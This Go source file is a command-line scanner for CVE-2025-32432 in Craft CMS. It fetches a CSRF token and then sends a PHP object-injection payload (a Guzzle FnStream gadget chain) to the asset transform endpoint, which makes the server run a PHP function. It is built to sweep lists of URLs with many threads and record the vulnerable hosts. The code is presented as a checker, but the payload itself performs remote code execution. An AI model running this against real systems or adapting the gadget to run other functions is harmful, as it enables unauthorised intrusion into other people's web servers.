package main

import (
	"bufio"
	"bytes"
	"context"
	"crypto/tls"
	"encoding/json"
	"errors"
	"io"
	"math/rand"
	"net/http"
	"net/http/cookiejar"
	"os"
	"sync"
	"time"

	"github.com/antchfx/htmlquery"
	"github.com/charmbracelet/lipgloss"
	"github.com/charmbracelet/log"
	"github.com/google/uuid"
	"github.com/schollz/progressbar/v3"
	"github.com/spf13/cobra"
)

const CVE = "CVE-2025-32432"

var (
	safeStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("2")) // green
	vulnStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("1")) // red
	errStyle  = lipgloss.NewStyle().Foreground(lipgloss.Color("3")) // yellow
)

func Must[T any](val T, err error) T {
	if err != nil {
		panic(err)
	}
	return val
}

func Try(fn func()) (err error) {
	defer func() {
		if r := recover(); r != nil {
			if e, ok := r.(error); ok {
				err = e
			} else {
				panic(r)
			}
		}
	}()
	fn()
	return
}

func randomPayload() map[string]interface{} {
	sessionKey := "as " + uuid.New().String()
	return map[string]interface{}{
		"assetId": rand.Intn(991) + 10,
		"handle": map[string]interface{}{
			"width":  rand.Intn(901) + 100,
			"height": rand.Intn(901) + 100,
			sessionKey: map[string]interface{}{
				"class":         "craft\\behaviors\\FieldLayoutBehavior",
				"__class":       "GuzzleHttp\\Psr7\\FnStream",
				"__construct()": []interface{}{[]interface{}{}},
				"_fn_close":     "phpcredits",
			},
		},
	}
}

type Checker interface {
	FetchCSRF(ctx context.Context) (string, error)
	CheckTransform(ctx context.Context, csrf string) (bool, error)
}

type httpChecker struct {
	baseURL string
	*http.Client
	*log.Logger
	manager *Manager
}

func NewHTTPChecker(baseURL string, logger *log.Logger, timeout time.Duration, manager *Manager) (Checker, error) {
	jar, err := cookiejar.New(nil)
	if err != nil {
		return nil, err
	}
	transport := &http.Transport{
		TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		Proxy:           http.ProxyFromEnvironment,
	}
	client := &http.Client{Jar: jar, Timeout: timeout, Transport: transport}
	return &httpChecker{baseURL, client, logger, manager}, nil
}

func (c *httpChecker) FetchCSRF(ctx context.Context) (string, error) {
	var token string
	err := Try(func() {
		token = Must(c.fetchCSRFToken(ctx, c.baseURL+"?p=admin/dashboard"))
		if token == "" {
			c.manager.logDebug("FetchCSRF", c.baseURL+"?p=admin/dashboard", "CSRF not found, fallback to /", "")
			token = Must(c.fetchCSRFToken(ctx, c.baseURL))
			if token == "" {
				panic(errors.New("CSRF token not found"))
			}
		}
	})
	return token, err
}

func (c *httpChecker) fetchCSRFToken(ctx context.Context, url string) (string, error) {
	req := Must(http.NewRequestWithContext(ctx, http.MethodGet, url, nil))
	resp := Must(c.Do(req))
	defer resp.Body.Close()

	doc := Must(htmlquery.Parse(resp.Body))
	node := htmlquery.FindOne(doc, "//input[@name='CRAFT_CSRF_TOKEN']")
	if node != nil {
		token := htmlquery.SelectAttr(node, "value")
		c.manager.logDebug("fetchCSRFToken", url, "found CSRF token", token)
		return token, nil
	}
	return "", nil
}

func (c *httpChecker) CheckTransform(ctx context.Context, csrf string) (bool, error) {
	var vuln bool
	err := Try(func() {
		data := Must(json.Marshal(randomPayload()))
		req := Must(http.NewRequestWithContext(ctx, http.MethodPost, c.baseURL+"?p=admin/actions/assets/generate-transform", bytes.NewReader(data)))
		req.Header.Set("Content-Type", "application/json")
		req.Header.Set("X-CSRF-Token", csrf)
		resp := Must(c.Do(req))
		defer resp.Body.Close()
		body := Must(io.ReadAll(resp.Body))
		vuln = bytes.Contains(body, []byte("PHP Credits"))
	})
	return vuln, err
}

type Options struct {
	Debug   bool
	Threads int
	Timeout time.Duration
	Output  string
}

type Manager struct {
	factory Factory
	logger  *log.Logger
	targets []string
	outFile *os.File
	bar     *progressbar.ProgressBar
	opts    Options
}

type Factory func(baseURL string) (Checker, error)

func NewManager(opts Options, targets []string) (*Manager, error) {
	logger := log.New(os.Stderr)
	if opts.Debug {
		logger.SetLevel(log.DebugLevel)
	}
	var out *os.File
	if opts.Output != "" {
		f, err := os.Create(opts.Output)
		if err != nil {
			return nil, err
		}
		out = f
	}
	var bar *progressbar.ProgressBar
	if len(targets) > 1 {
		bar = progressbar.NewOptions(len(targets),
			progressbar.OptionSetWriter(os.Stdout),
			progressbar.OptionShowCount(),
			progressbar.OptionSetWidth(40),
			progressbar.OptionClearOnFinish(),
		)
	}

	mgr := &Manager{
		logger:  logger,
		targets: targets,
		outFile: out,
		bar:     bar,
		opts:    opts,
	}

	mgr.factory = func(url string) (Checker, error) { return NewHTTPChecker(url, logger, opts.Timeout, mgr) }

	return mgr, nil
}

func (m *Manager) Run() error {
	var wg sync.WaitGroup
	jobs := make(chan string, m.opts.Threads)

	worker := func() {
		defer wg.Done()
		for tgt := range jobs {
			ctx, cancel := context.WithTimeout(context.Background(), m.opts.Timeout)
			if err := Try(func() {
				chk := Must(m.factory(tgt))
				csrf := Must(chk.FetchCSRF(ctx))
				vuln := Must(chk.CheckTransform(ctx, csrf))
				if vuln {
					m.printResult("VULNERABLE", tgt)
					if m.outFile != nil {
						m.writeLine(tgt)
					}
				} else {
					m.printResult("SAFE", tgt)
				}
			}); err != nil {
				m.logErr("run", tgt, err, cancel)
			} else {
				cancel()
				m.advance()
			}
		}
	}

	for i := 0; i < m.opts.Threads; i++ {
		wg.Add(1)
		go worker()
	}
	for _, t := range m.targets {
		jobs <- t
	}
	close(jobs)
	wg.Wait()

	if m.outFile != nil {
		m.outFile.Close()
	}
	if m.bar != nil {
		m.bar.Finish()
	}
	return nil
}

func (m *Manager) logErr(stage, target string, err error, cancel context.CancelFunc) {
	cancel()
	if m.opts.Debug {
		if m.bar != nil {
			progressbar.Bprintln(m.bar, errStyle.Render("ERROR"), target, "-", err.Error())
		} else {
			m.logger.Error(stage, "target", target, "error", err)
		}
	}
	m.advance()
}

func (m *Manager) logDebug(stage, target, msg, value string) {
	if !m.opts.Debug {
		return
	}
	if m.bar != nil {
		progressbar.Bprintln(m.bar, errStyle.Render("DEBUG"), target, "-", msg, value)
	} else {
		m.logger.Debug(stage, "target", target, "msg", msg, "value", value)
	}
}

func (m *Manager) printResult(status, target string) {
	if m.bar != nil {
		var styled string
		if status == "SAFE" {
			styled = safeStyle.Render(status)
		} else {
			styled = vulnStyle.Render(status)
		}
		progressbar.Bprintln(m.bar, styled, target)
	} else {
		m.logger.Info(status, "target", target, "cve", CVE)
	}
}

func (m *Manager) advance() {
	if m.bar != nil {
		m.bar.Add(1)
	}
}

func (m *Manager) writeLine(line string) {
	if m.outFile != nil {
		m.outFile.WriteString(line + "\n")
	}
}

var (
	urlFlag     string
	fileFlag    string
	outputFlag  string
	threads     int
	debugFlag   bool
	timeoutFlag time.Duration
	rootCmd     = &cobra.Command{Use: "checker", Short: "Check for " + CVE + " vulnerability", RunE: run}
)

func init() {
	rootCmd.Flags().StringVar(&urlFlag, "url", "", "target URL")
	rootCmd.Flags().StringVar(&fileFlag, "file", "", "file of URLs")
	rootCmd.Flags().StringVar(&outputFlag, "output", "", "vulnerable URLs output")
	rootCmd.Flags().IntVar(&threads, "threads", 15, "concurrent workers")
	rootCmd.Flags().BoolVar(&debugFlag, "debug", false, "verbose debug")
	rootCmd.Flags().DurationVar(&timeoutFlag, "timeout", 15*time.Second, "timeout")
}

func run(cmd *cobra.Command, args []string) error {
	return Try(func() {
		if urlFlag == "" && fileFlag == "" {
			panic(errors.New("either --url or --file must be specified"))
		}
		targets := Must(collectTargets(urlFlag, fileFlag))
		opts := Options{Debug: debugFlag, Threads: threads, Timeout: timeoutFlag, Output: outputFlag}
		mgr := Must(NewManager(opts, targets))
		mgr.Run()
	})
}

func collectTargets(u, f string) ([]string, error) {
	if f == "" {
		return []string{u}, nil
	}
	file, err := os.Open(f)
	if err != nil {
		return nil, err
	}
	defer file.Close()

	var t []string
	scanner := bufio.NewScanner(file)
	for scanner.Scan() {
		t = append(t, scanner.Text())
	}
	return t, scanner.Err()
}

func main() {
	if err := rootCmd.Execute(); err != nil {
		os.Exit(1)
	}
}
